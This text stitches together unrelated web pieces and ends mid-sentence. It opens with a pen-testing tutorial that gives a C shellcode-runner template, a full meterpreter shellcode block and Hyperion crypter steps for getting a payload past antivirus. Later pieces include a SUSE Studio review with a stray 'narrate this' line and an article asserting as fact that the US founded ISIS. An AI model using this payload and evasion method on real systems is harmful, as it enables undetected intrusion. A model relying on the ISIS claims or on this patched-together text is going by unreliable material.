Note: Check the tool I work on with a great team, Veil. It is designed to generate payloads for bypassing Antivirus. This is more up-to-date than this post. On any pen test, you will discover a number of hosts that are vulnerable to a variety of exploits. So after gathering all the information we can about our target(s), one of the next few steps may be to exploit the system. Typically, I love using meterpreter as my payload because of the functionality that it offers. Our team would then fire up Metasploit, configure our exploit for our target, exploit the box, see us uploading the payload, only to have nothing happen. So what’s the problem? Well, obviously it could be a number of things, versions are wrong, exploit just didn’t work, etc. It’s also very possible that everything is working correctly, except the host-based anti-virus caught your meterpreter payload, and won’t let you get on the box. I’ve come across this problem multiple times, and would love to share a technique that I use to try to circumvent the anti-virus installed on a machine. First, I’m happy to give credit to two great writeups here and here that I looked up and incorporated into this attack. I saw a few things that needed to be edited and tried to compile what I did (based off those two articles) into this post. One of the methods of bypassing anti-virus is to create a “custom” executable template for meterpreter. As a starting point, you can use the following as a base to your source code (go ahead and open your favorite text editor, lets call the file “base.c”, and add the following): // This should be random padding unsigned char padding[]= ; // Our Meterpreter code goes here unsigned char payload[]= ; // Push Meterpreter into memory int main(void) { ((void (*)())payload)();} With the rough outline of our code down, the first thing we will want to do is create the random padding we want to put at the beginning of our file. You can easily change the size of your random padding by deleting the “1028” from the following command, and replacing it with the size you want to use. Our command and its output should look similar to the following: Go ahead and paste the random padding into our base.c file into the appropriate section at the top (in between double quotes). Our code should now look similar to the following: // This should be random padding unsigned char padding[]= "F9d9CxkqvLlodqpws5x4KoI3KoLdcLTae-0DMrcDZiscZi7Gmzug6g1n8L_W6pzPR-bGsm74TBHy3GDof6o-cMIAaiF5nEvEadpxl9p94w12fiLDreuEjLLhW2QXFbKBAIWOKXvMoiBGZHZY4Lyk24HTPuTonrTbf__hZ0G_q_5DVXfKU0s-muqroz-U6j-wDrX2CzKapy8o1Y5zGo0T3BozAuzwe7Q1A-R4JIWEU8LR-8MJrlF5ZthMo4M661VM8-6CY7duKz29tiPr5IEtpYXBVJyhHYCsPd5iVrNc3wzSVQ6jP9dht-znpNi4-wqWVjKng_3j5WjOlva3_jqLcqkMQ5NfrT7ipYlqxvqgYMUU8rvo9PS_DVkA3tM0W1T6BXLE7nmvZmxojfwfNKQEzzCn1-tYyqcd1z1UTnGEIoZp2sHY-kgofDDnHbNk-4-oMQdwuBt56oCWh7jcNwokcpte26FLJBX4C-yM46CJUlNFrgBg28776xxlTyC02Hs-YdkR-rJNvTt3OWOdCNt-1ocoj20QskIVdv2_XZgrTnxyIEOBBYrrmKHgBq4Qvd816iK1Ua2ZymTVRov1qJeiqvIoCr-hufUkQGjMCCGGSAjPacemgU3ztZZZJIPpB7Dc_zIpkSsaCr0kpDz9lFPn-Fn--cQh2l2gUIA8eiMHFeMLDh40da83tfThQqd_MsGb2OL2LmGCpV_QUdbFecP6-eI80sZG34j9Z3ur_6blZbu1f1qjME-bJKJ2ueT0arvydnnfzHIOt-vt26f0cBeE_11hUiTYmhtH9U4Mppe-eVMUJ5E3XU-Q-20-qCZZBWGV0kK4Lpxu8QGI_NrkRcS3CEantKhUkIaxxXWZRJvk0uEcB_YHerHjZT6Fw8_omY8O2BLT5sAg7f-MQm1P8RfTXYILiTbaqzxvg44y8zdEQpzPY4bgy3svNFVheIseFmOPKs-jL5eJkOlrkvniKFwCKatGKF8Aewli1sYmLP3HKVK8Voy-7b-j377x-SMQKUyByz9F" ; // Our Meterpreter code goes here unsigned char payload[]= ; // Push Meterpreter into memory int main(void) { ((void (*)())payload)();} Now that we have the padding in our base file, we can create our meterpreter shellcode. I find it easiest to create the shellcode with msfvenom. You can go ahead and create your shellcode using nearly the same command I am using here, just be sure to change your payload option values: With our meterpreter shellcode generated, go ahead and copy just the shellcode and paste it into the appropriate section within our base.c file. Once you’ve done that, our base.c file should look similar to the following: // This should be random padding unsigned char padding[]= "F9d9CxkqvLlodqpws5x4KoI3KoLdcLTae-0DMrcDZiscZi7Gmzug6g1n8L_W6pzPR-bGsm74TBHy3GDof6o-cMIAaiF5nEvEadpxl9p94w12fiLDreuEjLLhW2QXFbKBAIWOKXvMoiBGZHZY4Lyk24HTPuTonrTbf__hZ0G_q_5DVXfKU0s-muqroz-U6j-wDrX2CzKapy8o1Y5zGo0T3BozAuzwe7Q1A-R4JIWEU8LR-8MJrlF5ZthMo4M661VM8-6CY7duKz29tiPr5IEtpYXBVJyhHYCsPd5iVrNc3wzSVQ6jP9dht-znpNi4-wqWVjKng_3j5WjOlva3_jqLcqkMQ5NfrT7ipYlqxvqgYMUU8rvo9PS_DVkA3tM0W1T6BXLE7nmvZmxojfwfNKQEzzCn1-tYyqcd1z1UTnGEIoZp2sHY-kgofDDnHbNk-4-oMQdwuBt56oCWh7jcNwokcpte26FLJBX4C-yM46CJUlNFrgBg28776xxlTyC02Hs-YdkR-rJNvTt3OWOdCNt-1ocoj20QskIVdv2_XZgrTnxyIEOBBYrrmKHgBq4Qvd816iK1Ua2ZymTVRov1qJeiqvIoCr-hufUkQGjMCCGGSAjPacemgU3ztZZZJIPpB7Dc_zIpkSsaCr0kpDz9lFPn-Fn--cQh2l2gUIA8eiMHFeMLDh40da83tfThQqd_MsGb2OL2LmGCpV_QUdbFecP6-eI80sZG34j9Z3ur_6blZbu1f1qjME-bJKJ2ueT0arvydnnfzHIOt-vt26f0cBeE_11hUiTYmhtH9U4Mppe-eVMUJ5E3XU-Q-20-qCZZBWGV0kK4Lpxu8QGI_NrkRcS3CEantKhUkIaxxXWZRJvk0uEcB_YHerHjZT6Fw8_omY8O2BLT5sAg7f-MQm1P8RfTXYILiTbaqzxvg44y8zdEQpzPY4bgy3svNFVheIseFmOPKs-jL5eJkOlrkvniKFwCKatGKF8Aewli1sYmLP3HKVK8Voy-7b-j377x-SMQKUyByz9F" ; // Our Meterpreter code goes here unsigned char payload[]= “\xba\xd7\x0c\xb4\xfa\xd9\xc1\xd9\x74\x24\xf4\x58\x2b\xc9\xb1” “\x57\x83\xe8\xfc\x31\x50\x0e\x03\x87\x02\x56\x0f\xfd\xca\x4f” “\x84\x25\x19\xd5\x05\x4e\x2c\x7c\x9b\xb9\x67\x30\x73\x88\x22” “\x2b\x77\xbf\xd4\xc8\xb2\x5b\x6c\xf6\xd2\xd0\x3a\x54\xb7\xb6” “\x6a\xd0\x10\xc4\xae\x92\xb7\x9b\xb4\x9c\x02\x72\xea\xfe\x1d” “\xb9\x31\xbf\x3e\x09\xf5\x69\x25\xcb\x31\x56\x43\x8b\xec\xfe” “\xd1\xbf\xad\x50\x7e\x8f\x9d\x5f\x13\xb8\xd6\x4a\x03\xfc\xb1” “\x89\x08\x6f\xf9\x35\x3b\x1a\xd3\xf7\xe5\x50\x13\x0a\x0b\xc3” “\x87\x34\x9c\x4c\x4b\xcf\xbf\x01\x20\x45\x85\x8e\x82\x1c\x0c” “\xfa\x47\xa6\x03\xef\x16\xbd\xe9\x99\x87\xa9\xa9\x75\xf6\x6d” “\x6c\x43\xa8\xd9\xd0\x18\xb4\xd1\x93\x18\xf1\x3f\x08\xd0\xe3” “\x7a\x66\x1e\x90\x70\x90\xc3\x01\x61\xaf\xb4\xc0\x1e\xd8\x6d” “\xb7\x88\xfa\x7b\x2d\x75\x2f\xea\xda\x22\x2f\x26\x7a\x7c\x4e” “\x0a\xb8\x7a\xac\x1b\x74\x17\x3c\x92\x18\x6d\x67\xb3\x01\xb1” “\x4a\x43\xe4\x72\xf8\x15\xf8\x4b\x4a\xfb\x65\xbb\xf2\x6f\xe9” “\x9f\x58\x6b\xcd\x96\x7b\x80\xa9\xfe\xa6\x2e\xf7\xfa\xf5\x1d” “\xc5\xd4\x3d\x73\xe2\xd2\x94\xce\x85\x35\x62\xc4\xb9\x1b\x87” “\x20\x46\x16\xa6\xa4\xc2\x74\xfc\x5c\xfb\x83\x8b\x60\x4a\xd1” “\x72\x48\xab\xd7\xd9\x86\x7f\x2b\xbb\x06\x74\x54\xf0\xb6\xb8” “\xa8\x16\x97\xa2\xba\xc3\x79\x6f\xab\xdd\x6f\x3c\x74\x6c\xf4” “\x9d\xcc\x34\x84\xef\x34\x0c\x78\xc1\xe9\x2e\x57\xf6\x73\x9f” “\x12\x58\x6f\x48\xb5\x04\x45\x13\x86\x3c\xbb\xab\xce\x8a\x15” “\x07\x65\x73\x0e\x50\xd1\xa2\x29\x6b\x46\x3b\x40\x9c\x56\x1a” “\xb6\x8d\x22\x16\x66\x2f\xa8\x03\xdc\x58\x48\x91\x44\x18\xd9” “\x1d\xb6\x0f\xfe\xca\x7b\x03\xd1\x94\x54\xba” ; // Push Meterpreter into memory int main(void) { ((void (*)())payload)();} Congrats, you’ve made a pretty decent template file which includes our payload. Now, all that you need to do is compile it. I like to use gcc.exe within Backtrack with wine. So, you can navigate to the compiler (it’s at /root/.wine/drive_c/MinGW/bin/gcc.exe), call the compiler through wine, provide it our source file, and specify the output file. Your command should look similar to the following: Congrats again. You now have an executable that you should be able to drop on a windows machine that doesn’t get flagged by Microsoft Security Essentials in addition to a variety of anti-virus programs. So now what? There’s an additional step we can take to try to further prevent detection of our executable, and it’s with a packer & encrypting tool called hyperion. Hyperion is a tool that encrypts the executable you provide it with 5 rounds of AES encryption by default and outputs an executable. The executable file that is produced by hyperion can then be ran on a windows machine. The executable will brute force its own AES keys and then execute the payload you originally provided it. It’s a sweet tool that does a really good job at hiding the payload you are encrypting. The only problem with hyperion at times is that it can be detected as a packer by certain anti-virus programs. However, it still is not recognized by a majority of AV solutions. This is a quick article introducing Hyperion, a sweet tool I found after listening to Dave Kennedy talk, and how it can be compiled. First, while researching how to use the tool, I came across this resource which helped me to write this article. Hyperion is a tool that can be used to help prevent your payload from being detected by antivirus. It works by encrypting your payload via AES encryption, and essentially throwing away the keys. It’s output is an encrypted executable. When the output file is ran, the executable brute forces the encryption keys, and then runs the previously encrypted executable (meterpreter payload :)). So where do you get it and how can you compile it? Hyperion can be found for download at this location. Once downloaded and unzipped, you can easily compile the tool with g++.exe on Backtrack. To compile it, point g++.exe to the .cpp files within the “Crypter” directory under “Src”. Your command may look similar to the following: wine g++.exe Hyperion-1.0/Src/Crypter/*.cpp -o hyperion.exe Your command should have completed without any errors, and now you have compiled hyperion for use. So all we need to do is call hyperion, provide it our executable that we want it to hide, and then give it the name of the executable to output. Once compiled, hyperion can be run through wine or from the Windows command line. Our commands and their output should look similar to the following: root@bt:~/.wine/drive_c/MinGW/bin/Hyperion-1.0# wine hyperion.exe metexecutable.exe encryptedmet.exe Opening metexecutable.exe Copied file to memory: 0x115868 Found valid MZ signature Found pointer to PE Header: 0x80 Found valid PE signature Found a PE32 file Number of Data Directories: 16 Image Base: 0x400000 Found Section: .text VSize: 0x924, VAddress: 0x1000, RawSize: 0xa00, RawAddress: 0x400 Found Section: .data VSize: 0x5f0, VAddress: 0x2000, RawSize: 0x600, RawAddress: 0xe00 Found Section: .rdata VSize: 0xc0, VAddress: 0x3000, RawSize: 0x200, RawAddress: 0x1400 Found Section: .bss VSize: 0xe0, VAddress: 0x4000, RawSize: 0x0, RawAddress: 0x0 Found Section: .idata VSize: 0x268, VAddress: 0x5000, RawSize: 0x400, RawAddress: 0x1600 Input file size + Checksum: 0x4140 Rounded up to a multiple of key size: 0x4150 Generated Checksum: 0xcf0cc Generated Encryption Key: 0x0 0x2 0x1 0x2 0x3 0x3 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 Written encrypted input file as fasm array to: -> Src\FasmContainer32\infile.asm Written input file’s image base to: -> Src\FasmContainer32\imagebase.asm Written input file’s image size to: -> Src\FasmContainer32\sizeofimage.asm Written keysize to: -> Src\FasmContainer32\keysize.inc Starting FASM with the following parameters: Commandline: Fasm\FASM.EXE Src\FasmContainer32\main.asm encryptedmet.exe FASM Working Directory: C:\MinGW\bin\Hyperion-1.0 Executing fasm.exe flat assembler version 1.69.31 (1020166 kilobytes memory) 5 passes, 0.1 seconds, 35328 bytes. And that’s it. Hopefully either or a combination of both of these techniques have helped you to bypass the antivirus product you are going against. Good luck, and let me know if you have any questions! |
SUSE Studio - Mix it up Updated: August 26, 2017 It's been a long time since I played with SUSE Studio. Eight years to be exact. That's a fairly hefty stretch of time, which means another review is due. Before you ask, no it's not a German alternative rock band, nor a night club. And yes, it is an online portal that lets you create custom SUSE images. Very clever. In my original review, I focused on the simplicity and difficulty of use of the portal, assembling different packages into a working image, the testing, and the complexity of this whole deal. I built on my earlier experience with Kiwi and then Product Creator, and back in 2009, this was an amazing, revolutionary concept. Let's see what gives now. Pump the jam The familiar interface is there. The website has been revamped a little, there are more login features and options, and you can associate other services with the Studio, but in essence, it's the same tool from 2009, with some extra functionality. Create your own image Now, the tricky part. Can ordinary people use this easily? I started my image creation journey. I opted for an openSUSE 42.1 Leap image as my baseline, and it is only available in the 64-bit flavor. Anyway, the initial steps are simple and easy and encouraging. But we've only just begun. Please narrate this Yuri's style (Command & Conquer). Software This is the most complex and life-consuming step. Software. Here, you need to configure your build, but it is not as trivial as it sounds. First, you can add extra repositories, which can help you pimp up SUSE with proprietary stuff that you do not normally get. But you really need to know what you're doing. Additional packages A much more frustrating step is to choose the packages you need for your image. There are several ways about this - software groups, categories, general search, and recommended stuff. Colorful and maybe a little bit intimidating. Whichever you choose, you will have a very long list of available options, and some fairly scarce information to guide you. The best bet for whether you need something is the popularity ranking. I was also surprised that a lot of the expected, common stuff, even things like Firefox or KMail, are not included by default, and this makes for a rather tedious exercise. You cannot add more than 200 packages at once, so you really need to go through the list, page by page, searching for those hot cakes you'd want in your distro. In the end, it comes down to patience, and the way the data is presented, you won't have much. A more elegant solution would be bundle templates, which offer certain software profiles out of the box. For instance, a media profile automatically adds all the different codecs, several media players, and such. Alas, no such option exists. I watched the time bleed off my Kubuntu's digital clock as I fought with the packages, trying to make my distro look nice and elegant, the way I'd expect a finished product to behave. But the more I was browsing through the software selections, the more alarmed I was. I had to manually add YaST components, printing utilities, and so forth. Why. This is such a waste of time. Other configurations The rest is easy. Fast. Personalization, startup options (runlevel), users and their passwords, and several other tweaks. The easy part after the software choice torment. Well, you can also add support for Xen, VMware and also include UEFI drivers. Sounds like a neat thing. Anyway, read through, choose your settings. Build image & Testdrive Now, the really interesting part, the one we've been waiting for. SUSE Studio lets you build several types of images, including USB/Hard disk image, Live ISO, virtual machine images across other products, EC2 images, and still more. Looks interesting. I decided to start with a hard disk image. The actual configuration took about 10 minutes. Then, once it's built, you can download it - or more importantly, testdrive the image - so you can actually see whether your output works as expected before you download it. This should save you time and bandwidth. I tried to boot the image, and I did see the boot menu, but then it failed. I guess my swap configuration was just wrong - I accidentally typed in a 2MB swap, but then I would expect the wizard to auto-protect against silly mistakes. Also, the online console is not without faults - slow, buggy, and it uses Flash, plus it does not work in Google Chrome. If you already have a testdrive open, you cannot use the same one in another session, and you have a very decent one hour to complete the testing. No encryption, so you should use SSH, but that actually means an image that runs. Catch-22 in a way. VNC connectivity is also available and fairly straightforward, so that can be an alternative if Flash or the console disappoint you. I then built a second image - like the first, but with a correct swap config, and it did not boot at all. I didn't even see a GRUB menu. The third image, that was a VMDK, and this one actually worked. Yes. I could see my desktop - with the wrong wallpaper - but at least VLC was there, so the Studio did something well. I then downloaded the image and went about testing it in both VirtualBox and VMware Player. In both cases, it booted fine, but only with a measly 800x600px resolution, and no auto-detection of the virtualized environment. This just shows that my image is not complete, and that it's missing some rather important components. Problems with the image Now, at this point, I tried to use my image. Some of the added repos could not be used, they were corrupt for an odd reason. I tried to install VirtualBox guest additions, but hit a problem with sources and headers, which is quite annoying. No matter, YMP one-click installs then. Nope. The system did not recognize these as valid archives to use through YaST. I was missing all sorts of tiny but important dependencies, which you'd never dream of adding yourself, and they should be added to the built images, just in case. Except this is not the case, and you're on your own. Enjoying SUSE images becomes a boring and pointless exercise in building a distro like some 17th century smith. Conclusion In the time it took me to build my SUSE image, which in the end turned out to be a pretty dud, I could have downloaded, installed and customized any which distro, added new software through a simple and convenient package manager, and still had more freedom and elegance than my custom-built Studio monstrosity. Looking back at the 2009 efforts, little has changed since. This is not a good thing, because as a product, SUSE Studio has not benefited from any significant usability improvements in the elapsed period. SUSE Studio is a decent idea, a wicked concept, but the execution is still far from a pure plug-n-play utility. It's a test platform, but it does not offer the necessary level of predictive intelligence to be valuable enough as a replacement to in-vivo distro tweaks. I'd expect a Studio image to contain all the build tools by default, to satisfy all the needed dependencies on its own, to contain zero errors, and to prevent the user from making any change that would make it non-bootable. The steps in between also need to be faster, smoother, more elegant. I do not want to manually click through 100+ packages. That's not what humans are meant to do. In the end, you will need huge amounts of effort and colossal piles of trial and error before you can build a really nice SUSE image. But then, you will still struggle with repos and codecs and all those other issues I've reported in my Leap review. And so, I am far less enthusiastic than I used to be. Back then, this was a sci-fi thing of sweet magic. Now, it's a clunky and slow image frankenopolis, and while it does work, it's nowhere near the levels of professionalism that I have come to expect from SUSE. Hopefully, Studio 2.0 will arrive sometime in the future, and that will be my beat. We're done here. Cheers. |
We know it’s hard for students, especially young ones, to remain seated during the Pledge of Allegiance. They’re pressured to stand up and say it. And that’s an ethical problem even if it’s not a legal one. But surely this is undeniably coercive: A Christian radio station (89.3 KSBJ in Houston, Texas) is going to local public schools “to record classrooms and groups saying the Pledge of Allegiance.” They feature the kids on air and give each one a “KSBJ certificate for showing their patriotism” (because if you don’t say the pledge, you’re not patriotic). According to a reader who contacted me, there’s a family that doesn’t want their child to be part of one of these events, but their complaints are going nowhere. They spoke with the principal… but the event wasn’t canceled. Right now, their child has the option of participating or facing social isolation by sitting out. It’s not a position any child should be put in. There’s a petition online you can sign in defense of those parents and against this coercive practice: The Christ-based radio station, KSBJ travels around the Houston, TX area to both public and private schools recording and photographing children as part of a program titled “Say The Pledge”. The media they collect is edited, published and includes the logo and promise that “God Listens” when displayed on the station’s website, facebook page and on air segments amongst ONLY religious programming. The DJ wears a uniform with the same logo on it, and uses microphones, equipment and an oversized van where the “God Listens” sentiment is prominently displayed to young, impressionable students from preschool through older elementary grades. This is blatant discrimination against Non-Christians and forces them to opt out, thus causing a young child to feel excluded from their peers, and often times rejected for their religious affiliations. Of course, one must tune into the Christain only programming thereafter. Imagine the outrage the community would display if this activity were included in a non- christian faith such as Muslim, or even Atheist programming displaying a logo about “Allah” or what God is not. Public elementary school is NOT the place to solicit children to appear in religious programming. There are many other avenues for that. This activity is a violation of the First Amendment’s Establishment Clause, and should not be allowed or promoted by the school or district. FFRF and the American Humanist Association have already sent letters to the district. But right now, the event is still going on as planned. The petition will be delivered to April Maldonado, the Principal of Eagle Springs Elementary School, and Dr. Guy Sconzo, Superintendent of the Humble Independent School District. If they care about the students in their schools, they’ll cancel this religious event that has no business in the public schools. There’s just no good reason to let it continue. For them to give religious proselytizers access to little kids in their care is a serious abdication of their responsibilities. |
Trump has advanced both the Dakota Access and Keystone XL pipelines, despite the protests. "Stand up, fight back." The extended trailer for Awake, A Dream From Standing Rock provides a powerful picture of the people who have made Standing Rock, North Dakota, one of the most-watched places on earth. The first look, revealed exclusively by The Hollywood Reporter, is set to "A Tribe Called Red" by Prolific the Rapper, who is seen protesting in the film, and directed by Awake co-director James Spione. The documentary premieres on Earth Day, April 22, at the Tribeca Film Festival. The doc will detail the defiance of the Standing Rock Sioux tribe, along with the 500 other tribes and multicultural allies of the #NODAPL movement, who captured the world's attention by leading the peaceful resistance against the Dakota Access pipeline. While many may know the details, Awake will tell the story of Native-led defiance that forever changed the fight for clean water, the environment and future of the planet. The timely feature comes after President Donald Trump advanced both the Dakota Access and Keystone XL pipelines, capping a years-long fight between environmental groups and energy industry advocates. Awake, A Dream From Standing Rock is directed by Josh Fox, James Spione and Myron Dewey and written by Floris White Bull, Josh Fox and Myron Dewey. The documentary is executive produced by Doug Good Feather, Amy Ziering and Lauren Taschen. Shailene Woodley, who was arrested during a 2016 protests against the Dakota Access pipeline, is no longer attached as an executive producer but remains a vocal advocate for the cause. |
Yesterday, when we posted the full original letter submitted by True Finns leader Timo Soini titled "Why I Won't Support More Bailouts" as presented by the Wall Street Journal in verbatim, we were surprised that the WSJ, traditionally the bastion of various Fed interests (a topic previously dissected in "On The New York Fed's Editorial Influence Over The WSJ"), would allow such a truthy letter to appear on its pages. Today, courtesy of Karl Denninger who pointed out something glaringly disgusting, we were forced to look again at the letter as it now appears on the website of the WSJ. Shockingly, as the redline below indicates, the entire letter was scrubbed with blatant deletions from the original text which can still be found on the pages of Zero Hedge. It is high time that the WSJ readers demand to know whether this unprecedented scrubbing was due to an editorial intervention, or if Soini himself was responsible for this blatant revisionism. If the latter is indeed the case, perhaps supporters of the True Finn party in Finland should inquire who it was that forced their leader to adjusted his letter in such a way. And here we are making fun of Jean Claude Junker for openly lying to the media... Full redline comparing the pre- and post-revision letter versions (pdf) |
Protesters rally against the Rudd government's proposed mining tax in 2010. Credit:Tony Ashby "The mining tax that was repealed, we won't be bringing back," he told Adelaide radio 5AA. He said while he still believed in "fairly sharing" Australia's "natural wealth" the saga had taught Labor a valuable lesson. "There are lessons out of the mining tax - before you do anything, work with the states and work with industry - no surprises," he said. He said Labor still had two years to develop new policies to take to the next election and while it was "early days" for him to "start pronouncing" new party positions on issues, he vowed to consult with the "affected parties". "What we will do is to make sure that before we were to ever introduce major economic changes we will consult with the affected parties," he said at a media conference in Adelaide later on Tuesday. West Australian Labor MP Alannah MacTiernan was a lone voice in the caucus supporting the repeal of the mining tax, not because she opposed the policy but because she acknowledged Labor had bungled its implementation. She backed her leader's comments on Tuesday, but said there could be a chance in the future to reintroduce a profits based tax if it offered her home state a greater share of revenue to compensate for the "dreadful inequities" she says WA currently experiences under the GST-sharing agreement. "We should not be panicked out of revisiting the mining tax but we've got to go back to the fundamental concept of the mining tax as envisioned by the minerals tax and the Henry tax review, which is a profits based system which replaces the royalties system and then we would need to lock in legislatively a profit-sharing arrangement with the states," she told Fairfax Media. Finance Minister Mathias Cormann accused Mr Shorten of using "weasel words to hide plans for another mining tax". He said the mining industry already pays its fair share of taxes through company tax and royalties paid to the states. |
CONTACT: (212) 549-2689 or 2666; media@aclu.org NEW YORK – According to news reports, the government is looking into whether it could prosecute WikiLeaks founder Julian Assange under the Espionage Act for publishing classified government documents he obtained from a third party. WikiLeaks, along with multiple news outlets, published thousands of pages of U.S. diplomatic cables on Sunday. The American Civil Liberties Union said that prosecuting WikiLeaks would have serious First Amendment implications. The following can be attributed to Hina Shamsi, Director of the ACLU National Security Project: “We’re deeply skeptical that prosecuting WikiLeaks would be constitutional, or a good idea. The courts have made clear that the First Amendment protects independent third parties who publish classified information. Prosecuting WikiLeaks would be no different from prosecuting the media outlets that also published classified documents. If newspapers could be held criminally liable for publishing leaked information about government practices, we might never have found out about the CIA’s secret prisons or the government spying on innocent Americans. Prosecuting publishers of classified information threatens investigative journalism that is necessary to an informed public debate about government conduct, and that is an unthinkable outcome. “The broader lesson of the WikiLeaks phenomenon is that President Obama should recommit to the ideals of transparency he invoked at the beginning of his presidency. The American public should not have to depend on leaks to the news media and on whistleblowers to know what the government is up to.” |
ISIS has been one of the most discussed names throughout the previous years. With the span of the operations of the terrorist group spreading to all corners of the world, there was nearly no one hearing nothing about the it. The roots of the generation and advancement of the group was also traced by different analysts and experts so far. According to numerous documents by WikiLeaks, The US had a main role in founding and equipping the militants that were later structured as a group named DAESH (the primary name of ISIS). WikiLeaks’ documents show that the group has been financially funded when Hillary Clinton was the US Secretary of State. After leaving Iraq, the US had no direct access to the region in Western Iran and needed a pretext to get back to the place which were loaded with anti-American air. The Americans’ plan was to support groups that primarily acted as oppositions to the central governments in Iraq and Syria. Al-Qaeda, with its Syrian branch named Jabhat Al-Nusra, aided the US government to expand their operation and founded new groups to make uprising simultaneous with Islamic Awakening in the region. Saudi Arabia’s role in arming and training these forces could by no means be neglected. The US, however, was the main agent to plan for the step by step growth of the scattered terrorist groups. The harsh failure of Iraq occupation could have been made for by a plan to get the American troops back to the region more strategically. During the last year’s presidential campaigns, the Republican candidate who found no dread in using any tool to get the votes revealed part of the US role in founding ISIS. Exactly a year ago, Donald Trump clearly expressed that the former President, Barack Obama, was the one who founded the ISIS and Hillary Clinton was the co-founder on the way. Trump’s remarks were received with astonishment by politicians and media in the US then. Some interpreted them as meaning “Obama administration’s decision to pull all troops out of Iraq, with no stay-behind agreement, created a vacuum and allowed ISIS to metastasize.” Trump, however, fully rejected the interpretation after he was asked by radio host Hugh Hewitt saying “I meant he [Obama] is the founder of ISIS. I do.” The new comments infuriated even his own supporters in Republican party threatening to put him out of the presidential race. Though it is clear that Trump is not a trustworthy politician, the tycoon’s clarifying claims about the founder of ISIS gets significant when considering the fact that he misused any information to get more votes. The political arena has seen less like Trump whose avarice for power easily destroyed the long time conspiracies of an administration. The current destructive presence of US and its allies in Syria and Iraq claimed to be destroying their illegitimate son, ISIS, illuminates their plan to remain active and decisive in the movements of the region. |
WASHINGTON – Maine Rep. Chellie Pingree has signed onto a bill that would legalize marijuana and regulate it like alcohol at the federal level. Pingree, a Democrat, is one of 14 House members to endorse a proposal by Rep. Jared Polis, D-Colo., to drop marijuana from the federal government’s list of scheduled drugs. Additional Photos Maine Rep. Chellie Pingree has signed onto a bill that would legalize marijuana and regulate it like alcohol at the federal level. John Ewing/Staff Photographer Polis’ bill would remove the federal Drug Enforcement Agency from the equation when it comes to enforcing marijuana laws. It would instead put the drug under the auspices of the Food and Drug Administration and the Bureau of Alcohol, Tobacco, Firearms and Explosives. In fact, it would rename the ATF the Bureau of Alcohol, Tobacco, Marijuana, Firearms and Explosives. The odds of the bill getting anywhere in the Republican-controlled House are slim to none. But two states — Colorado and Washington — voted to legalize pot last November, and a Maine lawmaker has sponsored a bill to do the same in the Pine Tree State. The Portland Green Independent Committee also is working on a petition to legalize marijuana in the state’s largest city. Medical marijuana is already legal in Maine. Pingree’s position on the issue is not necessarily surprising. Shortly after the votes in Colorado and Washington, Pingree joined 16 other House Democrats who wrote to Attorney General Eric Holder urging him to respect the voters’ decisions. At the time, Pingree said she believed there were better ways for the federal government to spend its money than prosecuting people who are obeying state laws. Willy Ritch, spokeswoman for Pingree, said Polis’ legislation is patterned after the successful legalization bills in those two states. “She feels this is a common-sense approach to marijuana regulation,” Ritch said. David Boyer, Maine policy director for the Marijuana Policy Project, praised Polis’ bill and Pingree for her support. “It makes no sense to punish individuals for using a substance less harmful than alcohol,” Boyer said in a statement. “Instead, we should allow adults to use marijuana legally while regulating the production and sale of the substance. We will not only better control production and sales, but we will also create new jobs and generate tax revenue.” Pingree is married to S. Donald Sussman, the majority shareholder of MaineToday Media, which publishes the Portland Press Herald, the Kennebec Journal and the Waterville Morning Sentinel. Kevin Miller can be contacted at 317-6256 or at: [email protected] On Twitter: @KevinMillerDC Share |
Since the announcement in March that up-and-coming South African comedian Trevor Noah would succeed Jon Stewart as host of the "Daily Show," Noah has come under his fair share of scrutiny for things like years-old tweets and drooping ratings. Last week, the Hollywood Reporter upped the ante with a report implying that Noah may be a joke thief. Noah’s 20-minute stand-up set at a political convention last weekend in L.A. included a bit quite similar to a joke from Dave Chappelle’s 1998 HBO special. Both jokes centered on differences in racism across cultures, and used the phrase “racism connoisseur” — a degree of similarity that raised speculation about whether Noah has sticky comedic fingers. As THR and other outlets pointed out, Noah has faced other accusations of joke-theft in the past. But Noah is only the latest in a long line of comedians to face heat for stealing gags. Just as stand-up comedy has evolved as an art form since its 19th century beginnings, so too have the ethics and repercussions of poaching other peoples’ material. While these discussions typically unfolded within the comedy community in the past, social media makes it easier than ever for joke theft charges to go viral, but the impact that will have on would-be thieves remains to be seen. Advertisement: Historians peg the birth of stand-up comedy to the late-19th century vaudeville era, when a variety of acts including burlesque dancers, musicians, jugglers and sketch comedy duos toured theaters across the country. Vaudeville shows specifically catered to the sensibilities of the multiethnic working class, which meant the sets had to be fast-paced, fun and easy to understand. These criteria gave rise to slapstick based on simple tropes, as well as to the idea that performers could “borrow” and “build off of” other acts. This permissive attitude about joke theft was probably at least partially fatalist — it’s awfully tough to prove a joke’s origin when acts are constantly touring from town-to-town. But the nature of the shows likely encouraged this behavior as well, since comics who recycled familiar bits had a better chance of satisfying both censorious theaters and audiences who spoke limited English. The “pie in the face” gag began as a vaudeville go-to, as did “The Aristocrats,” the classic dirty joke comics still put their own spins on today. As more and more comedic vaudevillians began to performing material “in one” — that is, standing alone on a stage — the free-wheeling rules of the past no longer fit. Then the rapid rise of moving pictures thoroughly disrupted the vaudeville industry: theatre after theatre closed, since they couldn't compete with bargain prices at the cinema. Comics were competing more and more for dwindling live-performance slots, as well as to be cast in film, and having highly original material was an obvious way to set oneself apart from the pack. By the time vaudeville finally flatlined in the early 1930s, comedians' bits were being filmed to be shown in pre-movie reels, making it slightly harder for aspiring copycats to simply smuggle ideas over to the next town. The open source ethos of the early vaudeville days have led some to argue that joke theft is no big deal — and as cases like “The Aristocrats” illustrate, can even spark creative oneupmanship. But nearly all comedians reject this argument. Patton Oswalt even once reminded Time Magazine that even vaudeville legend W.C. Fields famously “beat the living s**t” out of anyone who copied his act. Besides — the vaudeville rules regulated an art form that was economically and creatively very different than modern stand-up. In a cut-throat industry where up-and-comers compete ferociously for five-minute TV spots, the stakes of a lifted joke are far higher than two similar slapstick acts getting paid in two different cities where no one has televisions. If the advent of film helped to stigmatize joke theft, it certainly didn't stop it. The debuts of the first comedy album in 1958 and the first comedy club in 1963 both entrenched the idea that a stand-ups success would be determined not only by how good their material was, but how much of it they had. A vaudevillian could happily cash-in with the same 10 minute set in 50 different cities — but a stand-up would need a solid hour to headline a club or record an album. The quantity of material a given comic had was now directly tied to their livelihoods. This meant that a minute of stand-up was essentially commodified as comedic currency, to be safeguarded by those who have it, and snatched by those who don’t. This can still be the case today. In one 2013 viral essay, Oswalt, perhaps the comedy world’s most outspoken voice against joke theft, described watching a young comedian passing off massive chunks of a buddy’s set as his own to score more lucrative feature gigs. When confronted, the thief insisted that he 